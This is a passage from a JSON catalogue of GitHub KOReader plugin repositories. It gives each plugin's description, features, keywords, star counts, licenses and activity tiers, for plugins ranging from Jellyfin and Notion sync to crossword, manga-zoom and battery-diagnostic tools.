clock"],"keywords":["weather","about","customization","compatibility","drag","drop","ssh","scp","development","download","dependencies","clone","repository","create","soft","link","between","folder","write","code","check","run","emulator","deploy"],"topics":[],"stars":22,"forks":2,"is_fork":false,"archived":false,"pushed_at":"2025-06-24T22:03:47Z","license":null,"default_branch":"master","has_meta":true,"readme_bytes":3437,"detail":"detail/roygbyte__weather.koplugin.json","activity":"dormant","tier":"B","tier_reasons":["has_meta","settled","documented"]},{"id":"DeclanChidlow/KOReader-Jellyfin-Plugin","owner":"DeclanChidlow","repo":"KOReader-Jellyfin-Plugin","url":"https://github.com/DeclanChidlow/KOReader-Jellyfin-Plugin","description":"A plugin for KOReader that allows downloading books from a Jellyfin instance.","purpose":"KOReader Jellyfin Plugin A plugin for KOReader adding support for reading books from Jellyfin This is a simple KOReader plugin that allows you to authenticate with your Jellyfin server, browse books, download them, and mark them as read.","categories":["library","files"],"features":["Server Configuration: Connect to your own Jellyfin server","Authentication","Login with username and password","Login with Quick Connect","Browse Books: View all books in your Jellyfin libraries","Mark as Read/Unread: Update your reading status in Jellyfin","Navigate to tools (🛠️) in KOReader, then find and open 'Jellyfin'. It might be on the second page","Select 'Configure Server', enter your server address (with protocol), and press 'Save'","Select 'Login' and authenticate via either username and password or Quick Connect","In the Jellyfin plugin's menu under tools, select 'Browse Books'"],"keywords":["jellyfin","jellyfin-client","koreader","koreader-plugin","allows","downloading","books","instance","login","browse","download","mark","book","read","unread","select","server","connect","tools","authenticate","choose","find","folder","library"],"topics":["jellyfin","jellyfin-client","koreader","koreader-plugin"],"stars":21,"forks":2,"is_fork":false,"archived":false,"pushed_at":"2026-03-21T04:30:46Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":3060,"detail":"detail/DeclanChidlow__KOReader-Jellyfin-Plugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Extraltodeus/koreader-autorotate","owner":"Extraltodeus","repo":"koreader-autorotate","url":"https://github.com/Extraltodeus/koreader-autorotate","description":"A simple plugin for Koreader to automatically rotate the page to landscape if it's a double page (only tested with CBZ files on a pocketbook)","purpose":"A simple plugin for Koreader to automatically rotate the page to landscape if it's a double page (only tested with CBZ files on a pocketbook)","categories":["files"],"features":[],"keywords":["koreader","koreader-plugin","simple","automatically","rotate","page","landscape","double","only","tested","cbz","files","pocketbook","koreader-autorotate","archived","finished","reading","berserk","longer","have","any","feel","free","fork"],"topics":["koreader","koreader-plugin"],"stars":21,"forks":9,"is_fork":false,"archived":true,"pushed_at":"2025-08-08T23:39:32Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":341,"detail":"detail/Extraltodeus__koreader-autorotate.json","activity":"archived","tier":"C","tier_reasons":["has_meta","archived","archived","documented"]},{"id":"Magyarapointe/mokuroreader-koreader","owner":"Magyarapointe","repo":"mokuroreader-koreader","url":"https://github.com/Magyarapointe/mokuroreader-koreader","description":"A KOReader plugin for interactive manga reading with mokuro OCR integration","purpose":"Read manga with mokuro OCR support directly in KOReader! Access plugin settings via: Menu → Navigation → Mokuro Reader","categories":["dict","files","content"],"features":["✅ Automatic detection of mokuro-processed CBZ files","✅ Tap on text bubbles to see OCR'd Japanese text","✅ Dictionary integration - long press on words to look them up","✅ Adjustable font size for better readability","✅ Works on all platforms - Kindle, Kobo, PocketBook, Android, etc","✅ Supports all ZIP compression types (Mac, Windows, Linux)","Kindle: /mnt/us/koreader/plugins/","Kobo: .adds/koreader/plugins/","PocketBook: /system/config/koreader/plugins/","Android: /sdcard/koreader/plugins/"],"keywords":["dictionary","e-reader","japanese","koreader","koreader-plugin","manga","mokuro","ocr","interactive","reading","integration","preparing","settings","compatibility","troubleshooting","doesn","detect","file","tap","zones","don","work","technical","details"],"topics":["dictionary","e-reader","japanese","koreader","koreader-plugin","manga","mokuro","ocr"],"stars":21,"forks":5,"is_fork":false,"archived":false,"pushed_at":"2025-11-23T18:27:50Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":2698,"detail":"detail/Magyarapointe__mokuroreader-koreader.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"komadorirobin/library-sync.koplugin","owner":"komadorirobin","repo":"library-sync.koplugin","url":"https://github.com/komadorirobin/library-sync.koplugin","description":"KOReader plugin for syncing missing books from a Booklore/Grimmory OPDS server","purpose":"Library Sync mirrors EPUB books and metadata from a Grimmory or BookOrbit server into a local KOReader library. It scans local files, compares them with a selected OPDS catalogue, downloads missing books, and can safely replace existing EPUB files when server metadata changes.","categories":["sync","library","files"],"features":["Grimmory and BookOrbit server providers","Recursive local EPUB scanning and fuzzy duplicate detection","Paginated OPDS catalogue support with Basic authentication","Optional mirror mode for moving books removed from the selected sync source to local trash","Safe, manifest-based metadata refresh for existing EPUB files","Optional automatic metadata refresh at startup or on an interval","Configurable folder routing and file naming","Bookshelf-compatible author image downloads and BookOrbit uploads","SimpleUI actions and recent-download history","Manual OTA updates from GitHub Releases"],"keywords":["syncing","missing","books","booklore","grimmory","opds","server","library","sync","configuration","credentials","bookorbit","download","folder","profiles","file","naming","sources","mirror","selected","source","simpleui","actions","automatic"],"topics":[],"stars":20,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-07-19T16:59:55Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":11151,"detail":"detail/komadorirobin__library-sync.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"sadatdaniel/splitread.koplugin","owner":"sadatdaniel","repo":"splitread.koplugin","url":"https://github.com/sadatdaniel/splitread.koplugin","description":"A KOReader plugin that displays real-time translations in a split panel, designed for language learners reading foreign-language books","purpose":"A KOReader plugin that displays real-time translations in a split panel, designed for language learners reading foreign-language books.","categories":["dict","ai","reading"],"features":["Top - the original text, as normal","Bottom - a live translation of the visible page, updating automatically as you turn pages","Are at an intermediate level and can partially understand the original text","Want to read authentic foreign-language books rather than graded readers","Kobo/Kindle: koreader/plugins/","Android: /sdcard/koreader/plugins/","Desktop (Linux): ~/.config/koreader/plugins/","Open a book","Tap the top of the screen to open the reader menu","Tap the NAVIGATION menu (the menu that shows bookmarks, table of contents, and skim document)"],"keywords":["displays","real-time","translations","split","panel","designed","language","learners","reading","foreign-language","books","splitread","translation","does","who","enabling","book","settings","disabling","getting","gemini","api","key","requirements"],"topics":[],"stars":20,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-08-04T10:51:20Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":4105,"detail":"detail/sadatdaniel__splitread.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Auri3l/leadingmangazoom.koplugin","owner":"Auri3l","repo":"leadingmangazoom.koplugin","url":"https://github.com/Auri3l/leadingmangazoom.koplugin","description":"KOReader manga/comic plugin - grid zoom, auto-rotate & page split. Forked from Maximum by @Shac0x","purpose":"A powerful KOReader plugin designed for reading manga and comics. It features a smart quadrant-based zoom system, allowing you to navigate dense manga pages with ease.","categories":["content"],"features":["Quadrant Zoom: Two-finger tap anywhere to instantly zoom into that quadrant","Gesture Scaling: Spread to zoom into a custom area, or pinch to zoom back out","RTL Support: Toggle Right-to-Left reading direction for authentic manga navigation","Landscape Handling","Auto-rotate: Automatically rotates double-wide pages to fill your screen","Page Split: Splits landscape pages into two logical pages (Left then Right, or vice versa)","Format Support: Extensive support for all common comic book and manga archives","Open a Supported Document: Open any compatible comic archive or PDF","Two-Finger Tap: Tap on any of the 4 quadrants of the screen to zoom in","Single Tap: Tap anywhere while zoomed in to return to the full-page view"],"keywords":["manga","comic","grid","zoom","auto-rotate","page","split","forked","maximum","shac0x","leadingmangazoom","formats","credits","changelog","2026-07-25","2026-07-16","pages","landscape","view","added","fixed","kobo","menu","physical"],"topics":[],"stars":19,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-24T21:33:03Z","license":"GPL-3.0","default_branch":"master","has_meta":true,"readme_bytes":3735,"detail":"detail/Auri3l__leadingmangazoom.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"gytwo/cloudlibrary.koplugin","owner":"gytwo","repo":"cloudlibrary.koplugin","url":"https://github.com/gytwo/cloudlibrary.koplugin","description":"Sync books and metadata (annotations, reading progress, etc.) between devices.","purpose":"KOReader plugin - Cloud Library, synchronize books and metadata (book annotations, reading progress, etc.) between devices.","categories":["sync","library","reading","notes"],"features":["This plugin directly operates on the device's original metadata files. By uploading/downloading/updating metadata files, it…","It also supports batch upload/download of books themselves, enabling complete library synchronization","In the file browser interface, select 「Menu」 → 「Tools」 → 「Cloud Storage」 to add a cloud storage account","Plugin operation: 「Menu」 → 「Tools」 → 「Cloud Library」 → 「Settings」 → Select a cloud directory to store book metadata files, book…","The cloud directory for books defaults to the metadata cloud directory, and an independent cloud directory can also be optionally…","Different devices must use the same cloud directory, otherwise they cannot share","The local book metadata folder settings on different devices should be kept consistent (\"Settings\" → \"Documents\" → \"Book Metadata…"],"keywords":["koreader-plugin","koreader","sync","books","metadata","annotations","reading","progress","etc","between","devices","cloudlibrary","introduction","synchronization","principle","instructions","changelog","project","repository","cloud","book","download","file","auto"],"topics":["koreader-plugin","koreader"],"stars":19,"forks":2,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T07:32:58Z","license":null,"default_branch":"master","has_meta":true,"readme_bytes":12371,"detail":"detail/gytwo__cloudlibrary.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"kbarni/frotz.koplugin","owner":"kbarni","repo":"frotz.koplugin","url":"https://github.com/kbarni/frotz.koplugin","description":"Interactive Fiction interpreter for Koreader","purpose":"This plugin allows to play interactive fiction games in Koreader. It uses RemGlk-linked interpreters that speak a structured JSON protocol, so the plugin renders a native KOReader UI (real status bar, styled text, single-key and line input). Two virtual machines are driven by the one engine, selected by file extension:","categories":["games"],"features":["Bocfel — Z-machine games: .z1–.z8, .zblorb, .zlb, .dat (the most common interactive-fiction format)","Git — Glulx games (modern Inform 7): .ulx, .gblorb, .blb, .blorb","Should work on most platforms where Koreader is available","Z-machine and Glulx (modern Inform 7) games support","Native KOReader rendering: status bar, styled text, single-key and line input","Simple save and restore mechanism (per game and with slots), including autosave at closing","Game history, so you can resume the last played games","Word lookup in dictionaries or Wikipedia, just like in Koreader","Possibility to hide on screen keyboard when using it with external keyboard","Font size setting"],"keywords":["game","interactive-fiction","koreader-plugin","interactive","fiction","interpreter","frotz","running","credits","binaries","games","glulx","z-machine","bocfel","folder","most","under","architecture","device","each","hard-float","inform","input","interpreters"],"topics":["game","interactive-fiction","koreader-plugin"],"stars":19,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-23T14:07:21Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":4364,"detail":"detail/kbarni__frotz.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"LoShady/DoctorBattery.koplugin","owner":"LoShady","repo":"DoctorBattery.koplugin","url":"https://github.com/LoShady/DoctorBattery.koplugin","description":"A KOReader plugin for battery diagnostics, health analysis and charging status.","purpose":"Doctor Battery Advanced battery diagnostics, system information and hardware analysis plugin for KOReader Doctor Battery is an advanced diagnostic plugin for KOReader that provides comprehensive battery, hardware and operating system information for your e-reader.","categories":["ui","dict","device","files"],"features":["🔋 Battery percentage","❤️ Battery health estimation","⚡ Charging / Discharging status","🔄 Battery cycle count (when supported)","🌡️ Battery temperature","🔌 Battery voltage","⚙️ Battery current","🔋 Battery capacity (when available)","🔌 Charging source detection (USB / AC / Wireless, when supported)","📊 Detailed battery statistics"],"keywords":["batteries","battery","battery-level","battery-life","battery-management","battery-management-system","battery-monitor","battery-status","battery-storage","kobo","kobo-ereader","koreader","koreader-plugin","koreader-plugins","kindle","kindle-paperwhite","kindle-plugin","lua","diagnostics","health","analysis","charging","status","system"],"topics":["batteries","battery","battery-level","battery-life","battery-management","battery-management-system","battery-monitor","battery-status","battery-storage","kobo","kobo-ereader","koreader","koreader-plugin","koreader-plugins","kindle","kindle-paperwhite","kindle-plugin","lua"],"stars":19,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T07:43:50Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":5940,"detail":"detail/LoShady__DoctorBattery.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Mr54233/pickthought.koplugin","owner":"Mr54233","repo":"pickthought.koplugin","url":"https://github.com/Mr54233/pickthought.koplugin","description":"把微信读书的想法塞进你的书里——KOReader 想法注入插件","purpose":"书是你的,想法是社区的——撷思把后者塞进前者。 非官方 KOReader 插件:从微信读书拉取划线与公开想法,引文对齐后注入本地 EPUB。点按虚线,弹窗看想法。 KOReader ≥ v2026.03(需要 `ffi/archiver` + `lua-ljsqlite3`)。","categories":["device","content"],"features":["划线与想法注入(underlines 全部划线 + readreviews 按 range 全部想法)","原地替换原书,进度保留,.orig 备份可一键还原","后台同步,断点续传,防锁屏,重启自动接管","大书分批(200 章/次),防风控","SQLite 存储,原生 TextViewer 弹窗,点按秒开","阅读中一键切换默认、细实线、细虚线或隐藏划线样式","在线 OTA 更新","解压到 koreader/plugins/pickthought.koplugin","重启 KOReader","账户扫码登录 → 选书绑定 → 同步 → 点虚线看想法"],"keywords":["kindle","koreader","koreader-plugin","weread","pickthought","sqlite","underlines","readreviews","range","orig","200","textviewer","ota"],"topics":["kindle","koreader","koreader-plugin","weread"],"stars":19,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T14:12:41Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1098,"detail":"detail/Mr54233__pickthought.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"omer-faruq/crossword.koplugin","owner":"omer-faruq","repo":"crossword.koplugin","url":"https://github.com/omer-faruq/crossword.koplugin","description":"Play crossword puzzles on KOReader. Load local .puz/.ipuz files, fetch from various sources, or generate new puzzles from your installed dictionaries.","purpose":"Play classic crossword puzzles on your e-reader. Five ways to get puzzles: Located under Tools → Crossword: All sources in the \"Download from sources\" menu are completely free and require no authentication:","categories":["ui","dict","files","games"],"features":["Local files — drop .puz (Across Lite) or .ipuz files into plugins/crossword.koplugin/puzzles/ and open them from the library","Guardian — fetch any of the daily free puzzles from The Guardian (Quick, Cryptic, Everyman, Speedy, Prize, Weekend, Quiptic) —…","Crosshare — fetch free community puzzles from crosshare.org by ID or URL","Generator — produce puzzles locally from any installed StarDict dictionary, current book, or Vocabulary Builder. Works fully…","Continue — resume the last open puzzle","Library — list puzzles shipped in the puzzles/ folder and previously opened ones","Recently played — resume puzzles with preserved progress across sessions","USA Today","Universal Crossword (daily & Sunday)","Wall Street Journal"],"keywords":["koreader-plugin","game","play","crossword","puzzles","load","local","puz","ipuz","files","fetch","various","sources","generate","installed","dictionaries","menu","free","puzzle","download","past","source","reliability","york"],"topics":["koreader-plugin","game"],"stars":19,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-12T20:12:26Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":6655,"detail":"detail/omer-faruq__crossword.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"omer-faruq/kotranslate.koplugin","owner":"omer-faruq","repo":"kotranslate.koplugin","url":"https://github.com/omer-faruq/kotranslate.koplugin","description":"Multi-provider translation plugin for KOReader with 9 services: offline (companion app), DeepL, Google, Microsoft, Yandex, Lingva, MyMemory, LibreTranslate, and KOReader default.","purpose":"KoTranslate is a KOReader plugin that provides machine translation with multiple providers. It works seamlessly with the KOTranslate Android companion app for truly offline translation, and supports 7 online translation services including DeepL, Google Cloud, Microsoft Azure, Yandex, Lingva, MyMemory, and…","categories":["sync","ui","dict","files"],"features":["9 Translation Providers","Default: KOReader built-in Google Translate","Offline: KOTranslate companion app (Google ML Kit, no internet)","DeepL: Free tier 500K chars/month (API key required)","Google Cloud: Translation API (API key required)","Microsoft Azure: Free tier 2M chars/month (API key required)","Yandex: Translate API (API key required)","Lingva: Free, no API key (proxied Google Translate)","MyMemory: Free, 5000 chars/day, no API key","LibreTranslate: Free, self-hosted or public instances"],"keywords":["koreader-plugin","multi-provider","translation","services","offline","companion","app","deepl","google","microsoft","yandex","lingva","mymemory","libretranslate","default","kotranslate","requirements","step","files","create","configuration","file","restart","quick"],"topics":["koreader-plugin"],"stars":19,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-03-27T18:02:17Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":15370,"detail":"detail/omer-faruq__kotranslate.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"omer-faruq/nonogram.koplugin","owner":"omer-faruq","repo":"nonogram.koplugin","url":"https://github.com/omer-faruq/nonogram.koplugin","description":"Solve picture cross puzzles on KOReader with tap-friendly controls, hints, and automatic progress saving.","purpose":"Solve picture cross (nonogram) puzzles directly inside KOReader with tap-friendly controls, automatic progress saving, and optional hints.","categories":["reading","notes","games"],"features":["Random puzzles","Automatically generates a random puzzle when you open the plugin","Each new game creates a fresh random grid within a reasonable size range","Tap-focused board controls","Tap a cell on the board to select it","Use the action buttons below the board to apply an action to the selected cell","Persistent progress","Your current puzzle and board state are saved automatically","When you reopen the plugin, you can continue where you left off","Conflict checking and hints"],"keywords":["game","koreader-plugin","solve","picture","cross","puzzles","tap-friendly","controls","hints","automatic","progress","saving","nonogram","open","basic","notes","credits","cell","solution","board","puzzle","selected","current","mark"],"topics":["game","koreader-plugin"],"stars":19,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-11-27T15:42:57Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":2239,"detail":"detail/omer-faruq__nonogram.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"stefan-misik/game2048.koplugin","owner":"stefan-misik","repo":"game2048.koplugin","url":"https://github.com/stefan-misik/game2048.koplugin","description":"Game inspired by 2048 implemented as KOReader plugin","purpose":"Game inspired by 2048 implemented as KOReader plugin.","categories":["games"],"features":["[x] History","[x] Non-touch control","[x] Saving state","[x] Scoreboard","[x] Settings","[x] Player profiles","[x] Support for color themes"],"keywords":["koreader","koreader-plugin","koreader-plugins","game","inspired","2048","implemented","game2048","history","non-touch","control","saving","state","scoreboard","settings","player","profiles","color","themes"],"topics":["koreader","koreader-plugin","koreader-plugins"],"stars":19,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-13T20:07:53Z","license":"MIT","default_branch":"master","has_meta":true,"readme_bytes":289,"detail":"detail/stefan-misik__game2048.koplugin.json","activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]},{"id":"bozo22/imagebookmarks.koplugin","owner":"bozo22","repo":"imagebookmarks.koplugin","url":"https://github.com/bozo22/imagebookmarks.koplugin","description":"Save and revisit images instantly in KOReader","purpose":"Save and revisit images instantly in KOReader Long-pressing an image will offer an option to bookmark it. To view saved bookmarks, you need to first assign a gesture to the \"Open image bookmark viewer\" action:","categories":["web","reading"],"features":["Top menu / / Taps and gestures / Gesture manager / [ your preferred gesture ]","Select \"Open image bookmark viewer\" under \"General\"","Side tap: Cycle bookmarks","Center tap: Close viewer","Pinch and spread: Zoom","Swipe: Pan","Long press: Open context menu"],"keywords":["koreader","koreader-plugin","save","revisit","images","instantly","image","bookmarks","bookmarking","viewing","bookmarked","adding","external","configuration","bookmark","viewer","book","menu","gesture","open","zoom","also","available","context"],"topics":["koreader","koreader-plugin"],"stars":18,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-04-04T13:57:11Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":2122,"detail":"detail/bozo22__imagebookmarks.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"helitra/koreader-remote","owner":"helitra","repo":"koreader-remote","url":"https://github.com/helitra/koreader-remote","description":"Control KOReader remotely from any device over the local network.","purpose":"Turn pages and control KOReader from your phone browser. ⭐ If this plugin is useful to you, starring the repository helps a lot. ⭐","categories":["ui","device"],"features":["KOReader installed","A device that permits KOReader plugins","Reader and phone on the same local network","Direct device-to-device communication on that network","Jailbreak access where required by the platform","Select Tools -> KOReader Remote -> Start remote server","Select Show QR code and scan it with your phone","Turn pages with large touch controls","Use keyboard arrow keys when available","Browse, search, sort, and open bookmarks, highlights, and notes"],"keywords":["ebook","ereader","kindle","koreader","koreader-plugin","plugin","remote","kindle-plugin","koplugin","control","remotely","any","device","over","local","network","made","requirements","start","here","troubleshooting","missing","phone","cannot"],"topics":["ebook","ereader","kindle","koreader","koreader-plugin","plugin","remote","kindle-plugin","koplugin"],"stars":18,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-07-19T23:05:03Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":8727,"detail":"detail/helitra__koreader-remote.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"jbreizh/quickmenu.koplugin","owner":"jbreizh","repo":"quickmenu.koplugin","url":"https://github.com/jbreizh/quickmenu.koplugin","description":"Quick Menu for settings and actions.","purpose":"`quickmenu.koplugin` is a highly customizable menu plugin designed to enhance navigation and accessibility on your e-reader. By providing a centralized hub for frequently used actions, light settings, and shortcuts, it streamlines the reading experience, allowing for quick adjustments without navigating deep into…","categories":["ui","device"],"features":["Exit: A dedicated exit tab provides a unified way to manage your session","In Filemanager: Tap to close the menu, or hold to quit KOReader","In Reader: Tap to close the menu, or hold to quit the reader and return to the Filemanager","Actions: This section provides quick-access toggles for essential device functions, such as Wi-Fi, orientation lock, power, and…","Frontlight: Easily manage your visual comfort with dedicated controls for both intensity and warmth. This section offers granular…","Shortcuts: A customizable grid of buttons providing direct access to key features like your Library, Collections, Search,…","Reading: Designed for in-reading utility, this section provides quick tools to manage your current book or document session,…","Footer: The status bar at the bottom acts as a summary panel, displaying real-time system information including CPU usage,…"],"keywords":["kindle","kobo","koreader","koreader-plugin","koreader-plugins","quick","menu","settings","actions","quickmenu","core","sections","custom","credits","list","system","shortcut","footer","show","search","statistics","page","toggle","battery"],"topics":["kindle","kobo","koreader","koreader-plugin","koreader-plugins"],"stars":18,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-17T14:02:17Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":9460,"detail":"detail/jbreizh__quickmenu.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"reuerendo/pocketbooktools.koplugin","owner":"reuerendo","repo":"pocketbooktools.koplugin","url":"https://github.com/reuerendo/pocketbooktools.koplugin","description":"Plugin for KOReader and PocketBook Integration","purpose":"The plugin is a revamped version of the pocketbooksync.koplugin with additional features. Allows syncing reading progress from KOReader with the PocketBook device database. Also adds support for the native PocketBook feature of showing the last page on startup. I usually add new books to my 'To Read' collection (via…","categories":["library","device"],"features":[],"keywords":["koreader","koreader-plugin","koreader-plugins","pocketbook","integration","pocketbooktools","removing","finished","books","collection","boot","logo","current","page","style","device","file","must","native","allows","automatically","book","components","function"],"topics":["koreader","koreader-plugin","koreader-plugins","pocketbook"],"stars":18,"forks":2,"is_fork":false,"archived":false,"pushed_at":"2026-01-07T13:47:36Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1859,"detail":"detail/reuerendo__pocketbooktools.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"cristenger/gota.koplugin-for-raindrop","owner":"cristenger","repo":"gota.koplugin-for-raindrop","url":"https://github.com/cristenger/gota.koplugin-for-raindrop","description":"A KOReader plugin to access and read your Raindrop.io bookmarks directly on your e-reader.","purpose":"A KOReader plugin to access and read your Raindrop.io bookmarks directly on your e-reader. Important: Notes and highlights work with both free and PRO accounts. However, viewing Raindrop's web copy (full text/HTML) requires a Raindrop.io PRO subscription.","categories":["dict","web","library","files","notes"],"features":["Browse Collections: Follow Raindrop groups, root order and nested collections","Scoped Search: Search globally, within a collection, or through its descendants","Advanced Search: Session-preserved filters with a visible scope, sort and match summary","Read Articles: View cleaned plain text or use the full HTML reader; gzip responses are handled automatically","Personal Notes: View your personal notes attached to bookmarks","Highlights: Review highlights globally or by collection without requiring PRO","Bookmark Editing: Update favorite, note, tags and collection; move safely to/from Trash","Content Limits: Separate presets up to 64 MiB for text-in-RAM and 512 MiB for reader-file downloads","Read Offline: Download an article to your folder and resume it later at the page where you stopped, or create a safer text-based…"],"keywords":["eink","koreader","koreader-plugin","access","read","raindrop","bookmarks","directly","e-reader","gota","method","manual","source","quick","start","test","token","configure","reading","guide","browse","collections","search","articles"],"topics":["eink","koreader","koreader-plugin"],"stars":17,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T22:05:08Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":16459,"detail":"detail/cristenger__gota.koplugin-for-raindrop.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"nbngoc93/vocabulary.koplugin","owner":"nbngoc93","repo":"vocabulary.koplugin","url":"https://github.com/nbngoc93/vocabulary.koplugin","description":"Vocabulary Builder for Koreader","purpose":"","categories":["ui","dict","games"],"features":["First you need to install KOReader: here","You need active this plugin in setting of KOReader: goto menu/tools/More tools/Plugin management and active Vocabulary Builder","Vocabulary Builder will show in search menu","Have fun"],"keywords":["vocabulary","builder","menu","choose","word","definition","learning","flashcard","multiple-choice","game","hold","item","open","dialog","mastered","active","here","need","tools","first","setting","goto","more","management"],"topics":[],"stars":17,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2022-03-28T13:21:58Z","license":null,"default_branch":"master","has_meta":true,"readme_bytes":1258,"detail":"detail/nbngoc93__vocabulary.koplugin.json","activity":"dormant","tier":"C","tier_reasons":["has_meta","dormant","documented"]},{"id":"oanh5631/simpleui.koplugin","owner":"oanh5631","repo":"simpleui.koplugin","url":"https://github.com/oanh5631/simpleui.koplugin","description":"Enhance KOReader with a clean UI plugin that adds a home screen, custom navigation, and quick access to library and reading stats.","purpose":"simpleui.koplugin is a user interface plugin designed to improve your KOReader experience. It adds a home screen, bottom navigation bar, top bar, and desktop modules or widgets. These features help you manage your ebooks more easily and customize your reading environment.","categories":["ui","dict","library","device","files","reading"],"features":["Running KOReader on a compatible e-reader (Kobo or Kindle with KOReader installed)","KOReader version 2023 or later recommended","Device has at least 100 MB free storage space","USB connection or Wi-Fi access to transfer files","Windows PC to download and transfer plugin files","Open the GitHub page linked above","Click on the \"Releases\" tab near the top of the page","Save the downloaded file to your Windows PC","Locate the downloaded .zip file in your Downloads folder","Right-click the file and select \"Extract All\""],"keywords":["admin-template","android-things","anki","ankiconnect","bookworm","django","django-admin","django-admin-theme","django-simpleui","download","element-ui","htmx","kindle","koreader","koreader-plugin","lua","open-source","reader","simpleui","theme","enhance","clean","adds","home"],"topics":["admin-template","android-things","anki","ankiconnect","bookworm","django","django-admin","django-admin-theme","django-simpleui","download","element-ui","htmx","kindle","koreader","koreader-plugin","lua","open-source","reader","simpleui","theme"],"stars":17,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-15T05:53:36Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":6109,"detail":"detail/oanh5631__simpleui.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"odrling/connections.koplugin","owner":"odrling","repo":"connections.koplugin","url":"https://github.com/odrling/connections.koplugin","description":"NYT Connections for KOReader","purpose":"This plugin lets you play NYT Connections in KOReader. Extract the archive in the `plugin` directory of KOReader, rename the new `connections.koplugin-main` folder to `connections.koplugin`, it will add an entry in the tools menu.","categories":["misc"],"features":[],"keywords":["nyt","connections"],"topics":[],"stars":17,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2025-09-01T14:14:12Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":326,"detail":"detail/odrling__connections.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"paulakfleck/kobo-dashboard","owner":"paulakfleck","repo":"kobo-dashboard","url":"https://github.com/paulakfleck/kobo-dashboard","description":"An e-ink optimized dashboard that displays calendar events, weather forecast, and current date, for Kobo e-readers using KOReader.","purpose":"An e-ink optimized dashboard that displays calendar events, weather forecast, and current date. For Kobo e-readers and KOReader (never tested in Kindle KOReader or other devices).","categories":["device","files"],"features":["📅 Today's calendar events from multiple calendars using iCal/iCS URLS (from Google, Outlook, iCloud)","🌤️ Weather forecast for your location","📆 Current month calendar with today highlighted","🕐 Real-time updates every few minutes (configurable)","Edit .env with your settings. Please read carefully .env, it has vital information to understand how to set it up","Go to Google Calendar","Click on your calendar name in the left sidebar → Settings and sharing","Scroll down to \"Integrate calendar\"","Paste the iCal URL to your newly created .env following the instructions on the document. You can have more than one calendar","Go to outlook.office.com → Settings → Calendar → Shared calendars"],"keywords":["kobo","koreader","koreader-plugin","e-ink","optimized","dashboard","displays","calendar","events","weather","forecast","current","date","e-readers","setup","docker","container","step","download","start","configure","refresh","interval","run"],"topics":["kobo","koreader","koreader-plugin"],"stars":17,"forks":2,"is_fork":false,"archived":false,"pushed_at":"2025-11-13T18:03:19Z","license":null,"default_branch":"main","has_meta":false,"readme_bytes":5629,"detail":"detail/paulakfleck__kobo-dashboard.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"CezaryPukownik/notionsync.koplugin","owner":"CezaryPukownik","repo":"notionsync.koplugin","url":"https://github.com/CezaryPukownik/notionsync.koplugin","description":"KOReader Plugin that sync highlights to Notion databases.","purpose":"NotionSync is a powerful plugin for KOReader that automatically synchronizes your book highlights and notes directly to a Notion database.","categories":["sync","notes"],"features":["Sync All Highlights: Instantly export all your highlights and notes to your 